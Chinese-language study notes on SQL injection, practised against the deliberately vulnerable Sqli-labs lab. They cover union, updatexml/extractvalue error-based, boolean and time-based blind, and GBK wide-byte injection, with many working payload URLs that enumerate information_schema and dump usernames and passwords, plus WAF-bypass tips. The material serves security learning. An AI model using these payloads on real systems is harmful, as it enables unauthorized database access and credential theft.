SQL注入学习笔记

380 阅读10分钟

前言

此文用于记录学习SQL注入过程。

Sqli-labs安装

Sqli-labs用来学习sql注入的一个游戏教程,可以用来练习报错注入、盲注、Update注入、Insert注入、Header注入、二阶注入、绕过WAF等。github地址:github.com/Audi-1/sqli…

  • 1、安装apache+mysql+php环境,可以下载使用wamp、phpstudy、apmserv等集成工具,在Windows上安装建议安装到虚拟机。
  • 2、安装Docker版本,安装简单,文中示例均在Docker环境中完成。Docker安装: 搜索镜像 docker search sqli-labs
    选择acgpiano镜像docker pull acgpiano/sqli-labs
    启动容器docker run -dt --name sqli-labs -p 80:80 --rm acgpiano/sqli-labs
    进入http://ip:port 后点击Setup/reset Database for labs项完成安装。

Sql注入原理

sql查询语句灵活,将用户巧妙构造的输入参数当成了sql语句的一部分,被数据库系统执行,相当于用户可以直接操作数据库,对数据库系统的内容进行检索和修改。

Mysql 注入基础知识

常用注入函数

  • 1、version()——MySQL 版本
  • 2、user()——数据库用户名
  • 3、database()——数据库名
  • 4、@@datadir——数据库路径
  • 5、@@version_compile_os——操作系统版本
  • 6、concat(str1,str2,...)——没有分隔符连接字符串
  • 7、concat_ws(separator,str1,str2,...)——使用分隔符连接字符串
  • 8、group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

更多mysql内置函数可以从mysql官方查询: dev.mysql.com/doc/refman/…

注入流程

  • 1、 信息收集:主要完成收集数据库类型、数据库版本、数据库用户、数据库权限。
  • 2、 数据获取:主要完成获取库信息、表信息、列信息、获取数据。
  • 3、 提权:主要完成执行命令、读文件、写文件。

mysql内置了mysql数据库保存有帐户信息、权限信息、存储过程、时间等信息。

information_schema库,它提供了访问数据库元数据的方式,保存着关于mysql服务器所维护的所有其他数据库信息。如数据库名,数据库的表,表的数据类型与访问权限等。通过information_schema库我们可以看到整个MySQL的运行情况。

每个数据库中有多个数据表,数据表当中有很多列,每一列当中存储数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据,所有sql注入都是基于查库、表、列语句,如果数据太多导致无法返回查询结果,可使用limit限定返回的位置和数量或*concat链接多个数据成为一条返回结果。

union 注入

union 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的SELECT语句必须拥有相同数量的列。列必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

  • 1、SQL N UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

提示:UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

  • 2、SQL N UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

提示:如果WAF拉截了UNION SELECT 语句可以尝试使用UNION ALL SELECT绕过。

union 注入实验

访问Less-1在参数后面带上经典测试语句'and '1'='1,正常返回结果,说明此处存在注入漏洞。 http://192.168.60.50/Less-1/?id=2'and '1'='1

使用order by试探对查询结果中的字段数排序,确定sql查询语句列数 http://192.168.60.50/Less-1/?id=2' order by 3 --+

将id值设置为空或负数,以使后面union select查询的结果在页面展示,使用union select查询数据库用户名。 http://192.168.60.50/Less-1/?id=-1' union select 1,2,user() --+
继续查询出数据库版本,数据库名信息,可收集更多信息不一一列举。 http://192.168.60.50/Less-1/?id=-1' union select 1,version(),database() --+
此示例仅记录正则的使用 http://192.168.60.50/Less-1/?id=-1' union select 1,2,user() regexp "^ro" --+
如果我们想要查询出所有的用户名,可以使用我们前面介绍的group_concat()函数,将多个数据链接成为一条字符串返回。 http://192.168.60.50/Less-1/?id=-1' union select 1,2,group_concat(username) from users --+

重要:查询数据库核心语法
查库 
select SCHEMA_NAME from information_schema.SCHEMATA;
查表
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='数据库名';
查列
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名';
 查数据
select 列名 from 库名.表名

提示:如果WAF或程序中不允许数据库名、表名处出现''可以尝试使用十六进制代替,如果查询结果有条数限制可以在数据库、数据表查询语句结尾加上limit 0,1,不断变换位置数量进行尝试以收集尽可能多数据。

http://192.168.60.50/Less-1/?id=-1' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1 --+

避免出现' ',库名用十六进制表示 http://192.168.60.50/Less-1/?id=-1' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x7365637572697479 limit 1,1 --+
http://192.168.60.50/Less-1/?id=-1' union select 1,2,group_concat(concat(username,0x7e,password)) from users --+

总结

Union注入步骤

  • 1、order by猜测查询语句列数。
  • 2、观察页面返回,选择显示位置,进行下一步注入。
  • 3、查库信息。
  • 4、查表信息。
  • 5、查询字段。
  • 6、查询数据。

Union注入应用场景

  • 1、只有最后一个select 子句允许有order by。
  • 2、只有最后一个select 子句允许有limit。
  • 3、注入点页面有回显。
  • 4、union连接的几个查询字段数一样且列的数据类型转换没问题。

Updatexml注入

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()。它们都是通过构造payload让信息通过错误提示显示出来。

Updatexml语法:

UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称 第二个参数:XPath_string (Xpath格式的字符串) 第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml注入原理:updatexml第二个参数需要的是Xpath格式的字符串。我们故意构造不符合的输入引起报错。updatexml的最大长度是32位的,如果密码长度超过了32位就不会被显示出来。

直接在数据库中测试:

select updatexml(1,concat(0x7e,(select @@version),0x7e),1);

可以看到执行了查询数据库版本信息的sql语句,错误信息中包含了数据库版本信息。

我们到Sqli-labs中测试updatexml()函数 http://192.168.60.50/Less-1/?id=-1' union select 1,2,updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

updatexml函数()内的sql语句可以任意替换为我们想要达到目的的sql语句。比如想查询表中列: http://192.168.60.50/Less-1/?id=-1' union select 1,2,updatexml(1,concat(0x7e, (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1),0x7e),1) --+

ExtractValue注入

evtractvalue()从目标XML中返回包含所查询值的字符串,同updatexml一样,它们都是通过构造payload让信息通过错误提示显示出来。,限制长度也是32位。

语法:

  EXTRACTVALUE (XML_document, XPath_string);   第一个参数:XML_document是String格式,为XML文档对象的名称   第二个参数:XPath_string (Xpath格式的字符串)   concat:返回结果为连接参数产生的字符串。

extractvalue注入的原理:extract的第二个参数要求是xpath格式字符串,我们故意构造不符合的输入引起报错。

直接在数据库中测试:

可以看到执行了查询数据库目录的sql语句,错误信息中包含了数据库目录信息。

函数()内的sql语句可以任意替换为我们想要达到目的的sql语句,比如获取数据库名:

select extractvalue(2,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),0x7e));

在Sqli-labs中测试extractvalue()函数 http://192.168.60.50/Less-1/?id=-1' union select 1,2,extractvalue(2,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),0x7e)) --+

Updatexml、ExtractValue注入总结

* 1、可以让错误信息显示的函数,都能实现报错注入如:Updatexml()、ExtractValue()、floor()等。 * 2、可应用于查询不出现内容,但打印错误信息的场景。

布尔注入

布尔注入原理

代码存在sql注入漏洞,但页面不展现查询数据,也不显示错误信息,只是返回不同提示信息。我们通过构造不同语句,来判断数据库信息的正确性,再通过页面的"真"、"假"来识别我们的判断是否正确。

正确!页面输出"You are in....."提示信息

错误!页面没有输出"You are in....."提示信息

布尔注入方法

构造逻辑判断语句,判断信息的真假,取出所有的真值,实现sql注入。

布尔注入常用函数

  • 1、left()
  • 2、regexp
  • 3、like
  • 4、substr()
  • 5、ascii()
  • 6、ord()
  • 7、mid()

布尔注入实验

说明:我们以left()函数为例,left()函数内的sql语句可以任意替换为我们想要达到目的的sql语句。其它函数不一一举例。

使用left()函数依次判断数据库每个字符,我们根据页面没有输出"You are in....."提示信息判定,当前数据库第一个字符不为p。 http://192.168.60.50/Less-8/?id=3' and left(database(),1) ='p' --+

使用left函数依次判断数据库每个字符,我们根据页面输出"You are in....."提示信息判定,当前数据库第一个字符为s。 http://192.168.60.50/Less-8/?id=3' and left(database(),1) ='s' --+
使用left函数依次判断数据库每个字符,我们最终尝试出数据库名为'security' http://192.168.60.50/Less-8/?id=3' and left(database(),7) ='security' --+
猜数据表名 http://192.168.60.50/Less-8/?id=3' and left((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1),5) ='users' --+

时间盲注

时间盲注原理

代码存在sql注入漏洞,但页面不显示数据,也不显示错误的信息。我们不能通过页面内容来进行判断。这种情况下我们可以通过构造语句。通过页面响应的时长来判断信息。 http://192.168.60.50/Less-1/?id=-1' union select 1,2, sleep(3) --+

时间盲注方法

构造逻辑语句,通过条件语句进行判断,为真立即执行,为假通过sleep()函数延时执行或相反,使用工具时可设置为真延时执行,因为尝试数据中大多数为假。 http://192.168.60.50/Less-1/?id=2' and if(ascii(substr(database(),1,1))>97,sleep(3),1)=0 --+

采用二分法猜解数据库名,数据库中表的数量、表名、字段名等。if()函数内的sql语句可以任意替换为我们想要达到目的的sql语句。其它函数不一一举例。

总结

  • 1、布尔注入、时间盲注都类似与猜字迷游戏,不断尝试最终获得正确结果。
  • 2、可以利用工具如:BurpSuite、SQLMap来提高效率。

Dnslog盲注

dnslog回显只能用于windows系统,原理就是'\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。

宽字节盲注

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。 常见的宽字节编码:GB2312,GBK,GB18030,BIG5等。 程序为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有‘作用,也就是说,这个单引号无法发挥和前后单引号闭合的作用。要绕过这个转义处理,使单引号发挥作用,有两个思路: 让斜杠(\)失去作用 让斜杠(\)消失 第一个思路就是借鉴程序的防范思路:对斜杠(\)转义,使其失去转义单引号的作用,成为内容。 第二个思路就是宽字节注:当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用 注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字。

http://192.168.60.50/Less-32/?id=-1' union select 1,2,3 --+

可以看到,页面提示单引号被转义 http://192.168.60.50/Less-32/?id=-1%df' union select 1,2,3 --+
当我们加了%df后,页面显示正常结果,说明sql语句正确,单引号发挥了作用,斜杠与%df进行了组合。